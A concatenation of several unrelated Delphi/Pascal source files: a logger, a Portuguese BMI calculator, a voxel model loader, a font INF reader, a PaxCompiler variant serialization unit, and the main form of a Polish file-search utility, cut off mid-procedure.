Result := '['+DateTimeToStr(timedAt)+'] '+StringOfChar(' ', (2 * FIndent))+msg;
end;
// If "timedAt" isn't specified, the current time will be used
function TSDULogger.LogMessage(msg: string; timedAt: TDateTime = 0): boolean;
var
logfile: TextFile;
fmtMsg: string;
begin
fmtMsg := FormatMsg(msg, timedAt);
{$IFDEF _GEXPERTS_DEBUG}
// Send debug message to GExperts debug window
SendDebug(fmtMsg);
{$ENDIF}
if Filename<>'' then
begin
AssignFile(logfile, Filename);
if FileExists(Filename) then
begin
Append(logfile);
end
else
begin
Rewrite(logfile);
end;
Writeln(logfile, fmtMsg);
CloseFile(logfile);
end;
if assigned(FOnLogMessage) then
begin
FOnLogMessage(self, msg);
end;
Result := TRUE;
end;
procedure TSDULogger.LogIndent();
begin
inc(FIndent);
end;
procedure TSDULogger.LogOutdent();
begin
dec(FIndent);
end;
END.
|
// -------------------------------------------------------------
// Programa que caclula o índice de massa corporal.
//
// Desenvolvido pelo beta-tester Danilo Rafael Galetti :~
// -------------------------------------------------------------
Program Pzim ;
var peso,altura,imc,fim: Real;
Begin
// Solicita a altura
write ('Informe a sua altura (em m): ');
read(altura);
// Solicita o peso
write('Informe o seu peso: ');
read(peso);
// Calcula o indice de massa corporal, mostra resultados
imc:=peso/(altura*altura);
writeln( 'Seu imc = ', imc );
if (imc<18.5) then
Begin
writeln('');
writeln('Você está abaixo do peso recomendado.');
End;
if (imc>=18.5) and (imc<25) then
Begin
writeln('');
writeln('Você está com o peso normal.');
End;
if (imc>=25) and (imc<30) then
Begin
writeln('');
writeln('Você está com sobrepeso.');
End;
if (imc>=30) and (imc<40) then
Begin
writeln('');
writeln('Você está obeso.');
End;
if (imc>=40) then
Begin
writeln('');
writeln('Você está com obesidade mórbida. Isso pode ser grave!');
End;
readkey ;
End.
|
unit ModelLoadCommand;
interface
// This command must be executed AFTER the model has been loaded.
// It should post-process the model to achieve the desired quality.
{$INCLUDE source/Global_Conditionals.inc}
{$ifdef VOXEL_SUPPORT}
uses ControllerDataTypes, ActorActionCommandBase, Actor;
type
TModelLoadCommand = class (TActorActionCommandBase)
protected
FQuality: longint;
public
constructor Create(var _Actor: TActor; var _Params: TCommandParams); override;
procedure Execute; override;
end;
{$endif}
implementation
{$ifdef VOXEL_SUPPORT}
uses StopWatch, GlobalVars, SysUtils, GLConstants, LODPostProcessing, ModelVxt;
constructor TModelLoadCommand.Create(var _Actor: TActor; var _Params: TCommandParams);
begin
FCommandName := 'Original Model Data';
ReadAttributes1Int(_Params, FQuality, C_QUALITY_CUBED);
// Warning: There is no undo here, so no inherited Create.
FActor := _Actor;
end;
procedure TModelLoadCommand.Execute;
var
{$ifdef SPEED_TEST}
StopWatch : TStopWatch;
{$endif}
LODProcessor: TLODPostProcessing;
begin
{$ifdef SPEED_TEST}
StopWatch := TStopWatch.Create(true);
{$endif}
if FActor.Models[0]^.ModelType = C_MT_VOXEL then
begin
// (FActor.Models[0]^ as TModelVxt).MakeVoxelHVAIndependent;
LODProcessor := TLODPostProcessing.Create(FQuality);
LODProcessor.Execute(FActor.Models[0]^.LOD[FActor.Models[0]^.CurrentLOD]);
LODProcessor.Free;
end;
{$ifdef SPEED_TEST}
StopWatch.Stop;
GlobalVars.SpeedFile.Add('Model loading time is: ' + FloatToStr(StopWatch.ElapsedNanoseconds) + ' nanoseconds.');
StopWatch.Free;
{$endif}
end;
{$endif}
end.
|
unit fi_inf;
interface
implementation
uses
fi_common,
fi_info_reader,
line_reader,
classes,
sysutils;
const
NUM_FIELDS = 4;
MAX_LINES = 10;
procedure ReadINF(lineReader: TLineReader; var info: TFontInfo);
var
i,
numFound: LongInt;
s: String;
p: SizeInt;
key: String;
dst: PString;
begin
i := 1;
numFound := 0;
while
(numFound < NUM_FIELDS)
and (i <= MAX_LINES)
and lineReader.ReadLine(s) do
begin
s := Trim(s);
if s = '' then
continue;
p := Pos(' ', s);
if p = 0 then
raise EStreamError.CreateFmt(
'INF has no space in line "%s"', [s]);
Inc(i);
key := Copy(s, 1, p - 1);
case key of
'FontName': dst := @info.psName;
'FullName': dst := @info.fullName;
'FamilyName': dst := @info.family;
'Version': dst := @info.version;
else
continue;
end;
repeat
Inc(p);
until s[p] <> ' ';
dst^ := Copy(s, p + 1, Length(s) - p - 1); // Skipping brackets
Inc(numFound);
end;
if numFound = 0 then
raise EStreamError.Create(
'INF file does not have any known fields; ' +
'probably not a font-related INF');
info.style := ExtractStyle(info.fullName, info.family);
info.format := 'INF';
end;
procedure ReadINFInfo(stream: TStream; var info: TFontInfo);
var
lineReader: TLineReader;
begin
lineReader := TLineReader.Create(stream);
try
ReadINF(lineReader, info);
finally
lineReader.Free;
end;
end;
initialization
RegisterReader(@ReadINFInfo, ['.inf']);
end.
|
////////////////////////////////////////////////////////////////////////////
// PaxCompiler
// Site: http://www.paxcompiler.com
// Author: Alexander Baranovsky (paxscript@gmail.com)
// ========================================================================
// Copyright (c) Alexander Baranovsky, 2006-2014. All rights reserved.
// Code Version: 4.2
// ========================================================================
// Unit: PAXCOMP_VAROBJECT.pas
// ========================================================================
////////////////////////////////////////////////////////////////////////////
{$I PaxCompiler.def}
unit PAXCOMP_VAROBJECT;
interface
uses {$I uses.def}
SysUtils,
Classes,
PAXCOMP_CONSTANTS,
PAXCOMP_TYPES,
PAXCOMP_SYS;
const
// varObject = varAny;
{$IFDEF MACOS}
varObject = $15;
{$ELSE}
varObject = $000E;
{$ENDIF}
type
TVarObjectKind = (voNone, voSet, voSimple, voArray);
TVarObject = class
private
stable: Pointer;
voKind: TVarObjectKind;
public
constructor Create(i_stable: Pointer);
function ToStr: String; virtual; abstract;
procedure SaveToStream(S: TWriter); virtual; abstract;
procedure LoadFromStream(S: TReader); virtual; abstract;
end;
TSetObject = class(TVarObject)
private
fValue: TByteSet;
TypeId: Integer;
TypeBaseId: Integer;
public
constructor Create(i_stable: Pointer;
const Value: TByteSet;
i_TypeId: Integer;
i_TypeBaseId: Integer);
constructor CreateSimple(i_stable: Pointer);
function ToStr: String; override;
function Clone: TVarObject;
procedure SaveToStream(S: TWriter); override;
procedure LoadFromStream(S: TReader); override;
property Value: TByteSet read fValue write fValue;
end;
TSimpleObject = class(TVarObject)
private
fValue: Variant;
fName: String;
public
constructor Create(i_stable: Pointer;
const Value: Variant; const i_Name: String);
constructor CreateSimple(i_stable: Pointer);
function ToStr: String; override;
procedure SaveToStream(S: TWriter); override;
procedure LoadFromStream(S: TReader); override;
property Value: Variant read fValue write fValue;
property Name: String read fName;
end;
TArrObject = class(TVarObject)
private
{$IFDEF ARC}
L: TList<TVarObject>;
{$ELSE}
L: TList;
{$ENDIF}
function GetItem(I: Integer): TVarObject;
public
constructor Create(i_stable: Pointer);
destructor Destroy; override;
function ToStr: String; override;
procedure Clear;
function Count: Integer;
procedure AddVarObject(X: TVarObject);
procedure SaveToStream(S: TWriter); override;
procedure LoadFromStream(S: TReader); override;
property Items[I: Integer]: TVarObject read GetItem; default;
end;
TVarObjectList = class(TTypedList)
private
stable: Pointer;
function GetItem(I: Integer): TVarObject;
procedure AddVarObject(X: TVarObject);
public
constructor Create(i_stable: Pointer);
property Items[I: Integer]: TVarObject read GetItem;
end;
function VariantToSetObject(const Value: Variant): TSetObject;
function IsVarObject(const V: Variant): boolean;
function VarObjectToVariant(const Value: TVarObject): Variant;
function VariantToVarObject(const Value: Variant): TVarObject;
procedure SaveVariantToStream(const Value: Variant; S: TWriter);
function LoadVariantFromStream(S: TReader; stable: Pointer): Variant;
function VariantToString(FinTypeId: Integer; const V: Variant): String;
implementation
uses
PAXCOMP_BASESYMBOL_TABLE;
procedure SaveVariantToStream(const Value: Variant; S: TWriter);
var
VType: Word;
VObject: TVarObject;
begin
VType := VarType(Value);
S.Write(VType, SizeOf(VType));
case VType of
varString: S.WriteString(Value);
{$IFDEF PAXARM}
varOleStr: S.WriteString(Value);
{$ELSE}
varOleStr: S.WriteString(Value);
{$ENDIF}
{$IFDEF UNIC}
varUString: S.WriteString(Value);
{$ENDIF}
varObject:
begin
VObject := VariantToVarObject(Value);
S.Write(VObject.voKind, SizeOf(VObject.voKind));
VObject.SaveToStream(S);
end;
else
S.Write(Value, SizeOf(Variant));
end;
end;
function LoadVariantFromStream(S: TReader; stable: Pointer): Variant;
var
VType: Word;
VObject: TVarObject;
voKind: TVarObjectKind;
begin
S.Read(VType, SizeOf(VType));
case VType of
varString: result := S.ReadString;
{$IFDEF PAXARM}
varOleStr: result := S.ReadString;
{$ELSE}
varOleStr: result := S.ReadString;
{$ENDIF}
{$IFDEF UNIC}
varUString: result := S.ReadString;
{$ENDIF}
varObject:
begin
S.Read(voKind, SizeOf(voKind));
case voKind of
voSet: VObject := TSetObject.CreateSimple(stable);
voSimple: VObject := TSimpleObject.CreateSimple(stable);
voArray: VObject := TArrObject.Create(stable);
else
raise Exception.Create(errInternalError);
end;
VObject.LoadFromStream(S);
result := VarObjectToVariant(VObject);
end
else
S.Read(result, SizeOf(Variant));
end;
end;
function IsVarObject(const V: Variant): boolean;
begin
result := VarType(V) = varObject;
end;
function VarObjectToVariant(const Value: TVarObject): Variant;
begin
result := Integer(Value);
TVarData(result).VType := varObject;
end;
function VariantToVarObject(const Value: Variant): TVarObject;
begin
if IsVarObject(Value) then
result := TVarObject(TVarData(Value).VInteger)
else
raise Exception.Create(errInternalError);
end;
function VariantToSetObject(const Value: Variant): TSetObject;
begin
result := VariantToVarObject(Value) as TSetObject;
end;
//---------- TVarObject --------------------------------------------------------
constructor TVarObject.Create(i_stable: Pointer);
begin
stable := i_stable;
voKind := voNone;
if stable <> nil then
TBaseSymbolTable(stable).VarObjects.AddVarObject(Self);
end;
//---------- TSetObject --------------------------------------------------------
constructor TSetObject.Create(i_stable: Pointer; const Value: TByteSet;
i_TypeId: Integer; i_TypeBaseId: Integer);
begin
inherited Create(i_stable);
fValue := Value;
TypeId := i_TypeId;
voKind := voSet;
TypeBaseId := I_TypeBaseId;
end;
constructor TSetObject.CreateSimple(i_stable: Pointer);
begin
inherited Create(i_stable);
voKind := voSet;
end;
function TSetObject.Clone: TVarObject;
begin
result := TSetObject.Create(stable, fValue, TypeId, TypeBaseId);
end;
procedure TSetObject.SaveToStream(S: TWriter);
begin
S.Write(fValue, SizeOf(fValue));
S.Write(TypeId, SizeOf(TypeId));
end;
procedure TSetObject.LoadFromStream(S: TReader);
begin
S.Read(fValue, SizeOf(fValue));
S.Read(TypeId, SizeOf(TypeId));
end;
function TSetObject.ToStr: String;
var
S: TByteSet;
B1, B2: Integer;
I, J: Byte;
First: boolean;
FinType: Integer;
T: Integer;
begin
result := '[]';
Exit;
if stable <> nil then
begin
T := TBaseSymbolTable(stable).GetTypeBase(TypeId);
FinType := TBaseSymbolTable(stable)[T].FinalTypeId;
end
else
FinType := TypeBaseId;
result := '[';
B1 := 0;
B2 := 0;
S := fValue;
First := true;
I := 0;
while I < 255 do
begin
if I in S then
begin
if First then
begin
B1 := I;
B2 := B1;
First := false;
end
else
Inc(B2);
end
else if not First then
begin
if B2 - B1 >= 1 then
begin
if FinType in CharTypes then
result := result + '''' + Chr(B1) + '''' + '..' +
'''' + Chr(B2) + ''''
else if FinType = typeENUM then
for J:=B1 to B2 do
begin
// result := result + GetName(T + J + 1);
if J < B2 then
result := result + ',';
end
else
result := result + IntToStr(B1) + '..' + IntToStr(B2);
end
else
begin
if FinType in CharTypes then
result := result + '''' + Chr(B1) + ''''
else if FinType = typeENUM then
begin
// result := result + GetName(T + B1 + 1)
end
else
result := result + IntToStr(B1);
end;
result := result + ',';
First := true;
end;
Inc(I);
end;
if result[Length(result)] = ',' then
Delete(result, Length(result), 1);
result := result + ']';
end;
//---------- TSimpleObject -----------------------------------------------------
constructor TSimpleObject.Create(i_stable: Pointer;
const Value: Variant; const i_Name: String);
begin
inherited Create(i_stable);
fValue := Value;
fName := i_Name;
voKind := voSimple;
end;
constructor TSimpleObject.CreateSimple(i_stable: Pointer);
begin
inherited Create(i_stable);
voKind := voSimple;
end;
function TSimpleObject.ToStr: String;
begin
result := VarToStr(Value);
end;
procedure TSimpleObject.SaveToStream(S: TWriter);
begin
S.WriteString(fName);
SaveVariantToStream(fValue, S);
end;
procedure TSimpleObject.LoadFromStream(S: TReader);
begin
fName := S.ReadString;
fValue := LoadVariantFromStream(S, stable);
end;
//---------- TArrObject --------------------------------------------------------
constructor TArrObject.Create(i_stable: Pointer);
begin
inherited;
{$IFDEF ARC}
L := TList<TVarObject>.Create;
{$ELSE}
L := TList.Create;
{$ENDIF}
voKind := voArray;
end;
destructor TArrObject.Destroy;
begin
Clear;
FreeAndNil(L);
inherited;
end;
procedure TArrObject.Clear;
var
I: Integer;
begin
for I:=0 to Count - 1 do
{$IFDEF ARC}
L[I] := nil;
{$ELSE}
TVarObject(L[I]).Free;
{$ENDIF}
L.Clear;
end;
function TArrObject.GetItem(I: Integer): TVarObject;
begin
result := TVarObject(L[I]);
end;
function TArrObject.Count: Integer;
begin
result := L.Count;
end;
procedure TArrObject.AddVarObject(X: TVarObject);
begin
L.Add(X);
end;
procedure TArrObject.SaveToStream(S: TWriter);
var
I, K: Integer;
begin
K := Count;
S.Write(K, SizeOf(K));
for I := 0 to K - 1 do
begin
S.Write(Items[I].voKind, SizeOf(Items[I].voKind));
Items[I].SaveToStream(S);
end;
end;
procedure TArrObject.LoadFromStream(S: TReader);
var
I, K: Integer;
voKind: TVarObjectKind;
VObject: TVarObject;
begin
S.Read(K, SizeOf(K));
for I := 0 to K - 1 do
begin
S.Read(voKind, SizeOf(voKind));
case voKind of
voSet: VObject := TSetObject.CreateSimple(nil);
voSimple: VObject := TSimpleObject.CreateSimple(nil);
voArray: VObject := TArrObject.Create(nil);
else
raise Exception.Create(errInternalError);
end;
VObject.LoadFromStream(S);
AddVarObject(VObject);
end;
end;
function TArrObject.ToStr: String;
var
I: Integer;
begin
result := '(';
for I:=0 to Count - 1 do
begin
result := result + Items[I].ToStr;
if I < Count - 1 then
result := result + ',';
end;
result := result + ')';
end;
//---------- TVarObjectList ----------------------------------------------------
constructor TVarObjectList.Create(i_stable: Pointer);
begin
inherited Create;
stable := i_stable;
end;
function TVarObjectList.GetItem(I: Integer): TVarObject;
begin
result := TVarObject(L[I]);
end;
procedure TVarObjectList.AddVarObject(X: TVarObject);
begin
L.Add(X);
end;
function VariantToString(FinTypeId: Integer; const V: Variant): String;
var
B: Byte;
begin
if FinTypeId in BooleanTypes then
begin
if TVarData(V).VInteger = 0 then
result := 'false'
else
result := 'true';
end
else
if FinTypeId in StringTypes then
begin
result := VarToStr(V);
result := '''' + result + '''';
end
else
if FinTypeId in CharTypes then
begin
B := V;
result := Chr(B);
result := '''' + result + '''';
end
else
if FinTypeId in VariantTypes then
begin
result := VarToStr(V);
if (VarType(V) = varString) or (varType(V) = varOleStr) then
result := '''' + result + '''';
end
else
result := VarToStr(V);
end;
end.
|
unit frm_Main;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, MPCommonObjects, EasyListview, EasyTaskPanelForm, ExtCtrls,
StdCtrls, ImgList, JvComponentBase, JvSearchFiles, Menus, JvMenus,
JvLabel, ComCtrls, JvExControls, JvSpeedButton, JvExComCtrls, JvListView,
JvExExtCtrls, JvExtComponent, JvPanel, JvProgressBar, JvStatusBar,
MPCommonUtilities, Mask, JvExMask, JvToolEdit, JvCombobox, XPMan, Registry,
Math, fra_FileList, jpeg, ToolWin, Buttons, JvExButtons,
JvBitBtn;
type
TfrmMain = class(TForm)
pnlLeft: TPanel;
taskPanel: TEasyTaskPanelBand;
pnlFiles: TPanel;
Splitter1: TSplitter;
sBar: TJvStatusBar;
pBar: TJvProgressBar;
tmrSearchDone: TTimer;
tmrProgress: TTimer;
dlgSave: TSaveDialog;
ilmain: TImageList;
XPManifest1: TXPManifest;
Pages: TPageControl;
btnCloseTab: TButton;
pnlBackground: TPanel;
imgBackground: TImage;
btnInfo: TButton;
imgYes: TImage;
imgNo: TImage;
pnlSearch: TPanel;
btnSearch: TJvBitBtn;
Bevel1: TBevel;
btnHistory: TJvBitBtn;
pmMain: TPopupMenu;
About1: TMenuItem;
pmPages: TPopupMenu;
miCloseTab: TMenuItem;
procedure taskPanelGetTaskPanel(Sender: TCustomEasyListview;
Group: TEasyGroup; var TaskPanel: TEasyTaskPanelFormClass);
procedure FormCreate(Sender: TObject);
procedure FormClose(Sender: TObject; var Action: TCloseAction);
procedure FormShow(Sender: TObject);
procedure taskPanelGroupExpand(Sender: TCustomEasyListview;
Group: TEasyGroup);
procedure ControlChanged(Sender: TObject);
procedure btnCloseTabClick(Sender: TObject);
procedure btnSearchClick(Sender: TObject);
procedure btnInfoClick(Sender: TObject);
procedure pnlBackgroundResize(Sender: TObject);
procedure btnHistoryClick(Sender: TObject);
procedure LoadConfig(profile: string; FromHistory: Boolean = False);
procedure FormKeyDown(Sender: TObject; var Key: Word;
Shift: TShiftState);
procedure taskPanelKeyAction(Sender: TCustomEasyListview;
var CharCode: Word; var Shift: TShiftState; var DoDefault: Boolean);
procedure About1Click(Sender: TObject);
private
procedure SaveConfig(profile, description: string);
procedure CpuInfo;
function GetDescription: string;
procedure SaveHistory(description: string);
{ Private declarations }
public
CPU_CoreCount: Integer;
CPU_Name: string;
SearchCount: Integer;
IsLoaded: Boolean;
end;
var
frmMain: TfrmMain;
const
CRegPath = 'Software\ZMsoft\MultiFinder\';
CEditPrompt = '< kliknij tytaj aby dodać >';
implementation
uses frm_SearchPhrase, frm_SearchFiles, frm_SearchFolders, frm_SearchSize,
frm_SearchAttributes, frm_SearchDate, unt_MD5, frm_SearchOptions,
frm_History, frm_About;
{$R *.dfm}
procedure TfrmMain.taskPanelGetTaskPanel(Sender: TCustomEasyListview;
Group: TEasyGroup; var TaskPanel: TEasyTaskPanelFormClass);
begin
case Group.Index of
0: TaskPanel := TfrmSearchFiles;
1: TaskPanel := TfrmSearchFolders;
2: TaskPanel := TfrmSearchPhrase;
3: TaskPanel := TfrmSearchOptions;
4: taskPanel := TfrmSearchSize;
5: taskPanel := TfrmSearchAttributes;
6: taskPanel := TfrmSearchDate;
end;
end;
procedure TfrmMain.FormCreate(Sender: TObject);
begin
taskPanel.Themed := True;
DoubleBuffered := True;
CpuInfo;
btnSearch.DoubleBuffered := True;
btnHistory.DoubleBuffered := True;
btnCloseTab.DoubleBuffered := True;
btnInfo.DoubleBuffered := True;
pnlSearch.DoubleBuffered := True;
pnlFiles.DoubleBuffered := True;
pages.DoubleBuffered := True;
btnInfo.DoubleBuffered := True;
pnlBackground.DoubleBuffered := True;
taskPanel.DoubleBuffered := True;
end;
procedure TfrmMain.LoadConfig(profile: string; FromHistory: Boolean);
var
profileHash, s: string;
n, i: Integer;
reg: TRegistry;
li: TListItem;
begin
reg := TRegistry.Create;
try
IsLoaded := False;
frmSearchFiles.lv.Items.Clear;
frmSearchFolders.lv.Items.Clear;
reg.RootKey := HKEY_CURRENT_USER;
if not FromHistory then
begin
profileHash := LowerCase(MD5String(profile));
if not reg.OpenKey(CRegPath + 'Profiles\' + profileHash, False) then Exit;
end
else
if not reg.OpenKey(CRegPath + 'History\' + profile, False) then Exit;
if reg.ValueExists('SubFolders') then
frmSearchOptions.seSubFolders.Value := reg.ReadInteger('SubFolders');
if reg.ValueExists('IncludeHiddenFolders') then
frmSearchOptions.cbHiddenFolders.Checked := reg.ReadBool('IncludeHiddenFolders');
if reg.ValueExists('IncludeHiddenFiles') then
frmSearchOptions.cbHiddenFiles.Checked := reg.ReadBool('IncludeHiddenFiles');
if reg.ValueExists('Phrase') then
frmSearchPhrase.reText.Text := reg.ReadString('Phrase');
if reg.ValueExists('CaseSensitive') then
frmSearchPhrase.cbCaseSens.Checked := reg.ReadBool('CaseSensitive');
if reg.ValueExists('UseMask') then
frmSearchPhrase.cbUseMask.Checked := reg.ReadBool('UseMask');
if reg.ValueExists('DateFrom') then
frmSearchDate.cbDateFrom.Checked := reg.ReadBool('DateFrom');
if reg.ValueExists('DateFromValue') then
frmSearchDate.dtpDateFrom.DateTime := reg.ReadDateTime('DateFromValue');
frmSearchDate.dtpTimeFrom.DateTime := frmSearchDate.dtpDateFrom.DateTime;
if reg.ValueExists('DateTo') then
frmSearchDate.cbDateTo.Checked := reg.ReadBool('DateTo');
if reg.ValueExists('DateToValue') then
frmSearchDate.dtpDateTo.DateTime := reg.ReadDateTime('DateToValue');
frmSearchDate.dtpTimeTo.DateTime := frmSearchDate.dtpDateTo.DateTime;
if reg.ValueExists('SizeFrom') then
frmSearchSize.cbSizeFrom.Checked := reg.ReadBool('SizeFrom');
if reg.ValueExists('SizeFromValue') then
with frmSearchSize do
begin
i := reg.ReadInteger('SizeFromValue');
if (i >= 1048576) and (i mod 1048576 = 0) then
begin
seSizeFrom.Value := i div 1048576;
cbbSizeFrom.ItemIndex := 2;
end
else
if (i >= 1024) and (i mod 1024 = 0) then
begin
seSizeFrom.Value := i div 1024;
cbbSizeFrom.ItemIndex := 1;
end
else
begin
seSizeFrom.Value := i;
cbbSizeFrom.ItemIndex := 0;
end;
end;
if reg.ValueExists('SizeTo') then
frmSearchSize.cbSizeTo.Checked := reg.ReadBool('SizeTo');
if reg.ValueExists('SizeToValue') then
with frmSearchSize do
begin
i := reg.ReadInteger('SizeToValue');
if (i >= 1048576) and (i mod 1048576 = 0) then
begin
seSizeTo.Value := i div 1048576;
cbbSizeTo.ItemIndex := 2;
end
else
if (i >= 1024) and (i mod 1024 = 0) then
begin
seSizeTo.Value := i div 1024;
cbbSizeTo.ItemIndex := 1;
end
else
begin
seSizeTo.Value := i;
cbbSizeTo.ItemIndex := 0;
end;
end;
with frmSearchAttributes do
begin
if reg.ValueExists('AttributeR') then
cbAttribR.State := TCheckBoxState(reg.ReadInteger('AttributeR'));
if reg.ValueExists('AttributeA') then
cbAttribA.State := TCheckBoxState(reg.ReadInteger('AttributeA'));
if reg.ValueExists('AttributeH') then
cbAttribH.State := TCheckBoxState(reg.ReadInteger('AttributeH'));
if reg.ValueExists('AttributeS') then
cbAttribS.State := TCheckBoxState(reg.ReadInteger('AttributeS'));
end;
for n := 1 to 9999 do
begin
if not reg.ValueExists('File' + IntToStr(n)) then Break;
s := reg.ReadString('File' + IntToStr(n));
if Length(s) < 2 then Continue;
li := frmSearchFiles.lv.Items.Add;
li.Checked := s[1] = '0';
li.ImageIndex := StrToInt(s[2]);
Delete(s, 1, 2);
li.SubItems.Add(s);
end;
for n := 1 to 9999 do
begin
if not reg.ValueExists('Folder' + IntToStr(n)) then Break;
s := reg.ReadString('Folder' + IntToStr(n));
if Length(s) < 2 then Continue;
li := frmSearchFolders.lv.Items.Add;
li.Checked := s[1] = '0';
li.ImageIndex := StrToInt(s[2]);
Delete(s, 1, 2);
li.SubItems.Add(s);
end;
finally
reg.Free;
frmSearchFiles.lv.Items.Insert(0).SubItems.Add(CEditPrompt);
frmSearchFolders.lv.Items.Insert(0).SubItems.Add(CEditPrompt);
IsLoaded := True;
end;
ControlChanged(nil);
end;
procedure TfrmMain.SaveHistory(description: string);
var
s, ss: string;
n: Integer;
stl: TStringList;
reg: TRegistry;
begin
with frmSearchDate do
begin
dtpDateFrom.Time := dtpTimeFrom.Time;
dtpDateTo.Time := dtpTimeTo.Time;
end;
s := LowerCase(MD5String(description));
ss := LowerCase(FormatDateTime('YYMMDDhhmmsszzz', Now)) + #32 + s;
reg := TRegistry.Create;
stl := TStringList.Create;
try
reg.RootKey := HKEY_CURRENT_USER;
reg.OpenKey(CRegPath + 'History\', True);
reg.GetKeyNames(stl);
for n := 0 to stl.Count-1 do
if Pos(s, stl[n]) > 0 then reg.DeleteKey(stl[n]);
while stl.Count > 34 do
if reg.KeyExists(stl[n]) then
reg.DeleteKey(stl[n]);
reg.OpenKey(ss, True);
finally
stl.Free;
reg.Free;
end;
SaveConfig(ss, description);
end;
procedure TfrmMain.SaveConfig(profile, description: string);
var
profileHash, s: string;
n: Integer;
reg: TRegistry;
begin
with frmSearchDate do
begin
dtpDateFrom.Time := dtpTimeFrom.Time;
dtpDateTo.Time := dtpTimeTo.Time;
end;
reg := TRegistry.Create;
try
reg.RootKey := HKEY_CURRENT_USER;
if description = '' then
begin
profileHash := LowerCase(MD5String(profile));
if reg.KeyExists(profileHash) then reg.DeleteKey(profileHash);
reg.OpenKey(CRegPath + 'Profiles\' + profileHash, True);
end
else
reg.OpenKey(CRegPath + 'History\' + profile, True);
reg.WriteString('Name', profile);
reg.WriteString('Description', description);
reg.WriteDateTime('Date', Now);
reg.WriteInteger('SubFolders', frmSearchOptions.seSubFolders.Value);
reg.WriteBool('IncludeHiddenFolders', frmSearchOptions.cbHiddenFolders.Checked);
reg.WriteBool('IncludeHiddenFiles', frmSearchOptions.cbHiddenFiles.Checked);
reg.WriteString('Phrase', frmSearchPhrase.reText.Text);
reg.WriteBool('CaseSensitive', frmSearchPhrase.cbCaseSens.Checked);
reg.WriteBool('UseMask', frmSearchPhrase.cbUseMask.Checked);
reg.WriteBool('DateFrom', frmSearchDate.cbDateFrom.Checked);
reg.WriteDateTime('DateFromValue', frmSearchDate.dtpDateFrom.DateTime);
reg.WriteBool('DateTo', frmSearchDate.cbDateTo.Checked);
reg.WriteDateTime('DateToValue', frmSearchDate.dtpDateTo.DateTime);
reg.WriteBool('SizeFrom', frmSearchSize.cbSizeFrom.Checked);
reg.WriteInteger('SizeFromValue',
frmSearchSize.seSizeFrom.Value * Round(Power(1024, frmSearchSize.cbbSizeFrom.ItemIndex)));
reg.WriteBool('SizeTo', frmSearchSize.cbSizeTo.Checked);
reg.WriteInteger('SizeToValue',
frmSearchSize.seSizeTo.Value * Round(Power(1024, frmSearchSize.cbbSizeTo.ItemIndex)));
reg.WriteInteger('AttributeR', Integer(frmSearchAttributes.cbAttribR.State));
reg.WriteInteger('AttributeA', Integer(frmSearchAttributes.cbAttribA.State));
reg.WriteInteger('AttributeH', Integer(frmSearchAttributes.cbAttribH.State));
reg.WriteInteger('AttributeS', Integer(frmSearchAttributes.cbAttribS.State));
with frmSearchFiles.lv do
for n := 1 to Items.Count-1 do
begin
if Items[n].Checked then s := '0' else s := '1';
s := s + IntToStr(Items[n].ImageIndex);
s := s + Items[n].SubItems[0];
reg.WriteString('File' + IntToStr(n), s);
end;
with frmSearchFolders.lv do
for n := 1 to Items.Count-1 do
begin
if Items[n].Checked then s := '0' else s := '1';
s := s + IntToStr(Items[n].ImageIndex);
s := s + Items[n].SubItems[0];
reg.WriteString('Folder' + IntToStr(n), s);
end;
finally
reg.Free;
end;
end;
procedure TfrmMain.FormClose(Sender: TObject; var Action: TCloseAction);
begin
SaveConfig(#0#0#0#0, '');
while Pages.PageCount > 0 do Pages.ActivePage.Free;
end;
procedure TfrmMain.FormShow(Sender: TObject);
var
n: Integer;
begin
for n := 2 to 6 do
taskPanel.Groups[n].Expanded := False;
LoadConfig(#0#0#0#0);
IsLoaded := True;
end;
procedure TfrmMain.taskPanelGroupExpand(Sender: TCustomEasyListview;
Group: TEasyGroup);
var
n: Integer;
begin
if Group.Index < 2 then Exit;
for n := 2 to 6 do
if n <> Group.Index then
taskPanel.Groups[n].Expanded := False;
end;
procedure TfrmMain.ControlChanged(Sender: TObject);
begin
if Trim(frmSearchPhrase.reText.Text) <> '' then
taskPanel.Groups[2].Caption := 'Fraza *'
else
taskPanel.Groups[2].Caption := 'Fraza';
if frmSearchOptions.cbHiddenFolders.Checked
or frmSearchOptions.cbHiddenFiles.Checked
or (frmSearchOptions.seSubFolders.Value <> 99)
then
taskPanel.Groups[3].Caption := 'Opcje *'
else
taskPanel.Groups[3].Caption := 'Opcje';
if frmSearchSize.cbSizeFrom.Checked or frmSearchSize.cbSizeTo.Checked then
taskPanel.Groups[4].Caption := 'Rozmiar *'
else
taskPanel.Groups[4].Caption := 'Rozmiar';
with frmSearchAttributes do
if (cbAttribR.State <> cbGrayed) or (cbAttribA.State <> cbGrayed)
or (cbAttribH.State <> cbGrayed) or (cbAttribS.State <> cbGrayed)
then
taskPanel.Groups[5].Caption := 'Atrybuty *'
else
taskPanel.Groups[5].Caption := 'Atrybuty';
if frmSearchDate.cbDateFrom.Checked or frmSearchDate.cbDateTo.Checked then
taskPanel.Groups[6].Caption := 'Data *'
else
taskPanel.Groups[6].Caption := 'Data';
end;
procedure TfrmMain.CpuInfo;
var
reg: TRegistry;
n: Integer;
s: string;
begin
reg := TRegistry.Create;
try
reg.RootKey := HKEY_LOCAL_MACHINE;
reg.OpenKey('HARDWARE\DESCRIPTION\System\CentralProcessor\', False);
for n := 0 to 64 do
if not reg.KeyExists(IntToStr(n)) then Break;
reg.OpenKey('0', False);
s := reg.ReadString('ProcessorNameString');
if s = '' then s := 'CPU';
s := IntToStr(n) + ' x ' + Trim(s);
CPU_Name := s;
//SetStatusHint('Procesor: ' + s, 3000);
CPU_CoreCount := n;
finally
if CPU_CoreCount > 16 then CPU_CoreCount := 16;
if CPU_CoreCount < 1 then CPU_CoreCount := 1;
reg.Free;
end;
end;
procedure TfrmMain.btnCloseTabClick(Sender: TObject);
begin
if Pages.ActivePage = nil then Exit;
Pages.ActivePage.Free;
end;
procedure TfrmMain.btnSearchClick(Sender: TObject);
var
ts: TFrameTabSheet;
desc: string;
n: Integer;
begin
if Assigned(frmSearchFolders.edt) then frmSearchFolders.lv.SetFocus;
if Assigned(frmSearchFiles.edt) then frmSearchFiles.lv.SetFocus;
desc := GetDescription;
ts := nil;
for n := 0 to Pages.PageCount-1 do
if TFrameTabSheet(Pages.Pages[n]).Frame.Description = desc then
ts := TFrameTabSheet(Pages.Pages[n]);
Inc(SearchCount);
if ts = nil then
begin
ts := TFrameTabSheet.Create(Pages);
ts.PageControl := Pages;
ts.Visible := False;
ts.Visible := True;
end
else
ts.Frame.Free;
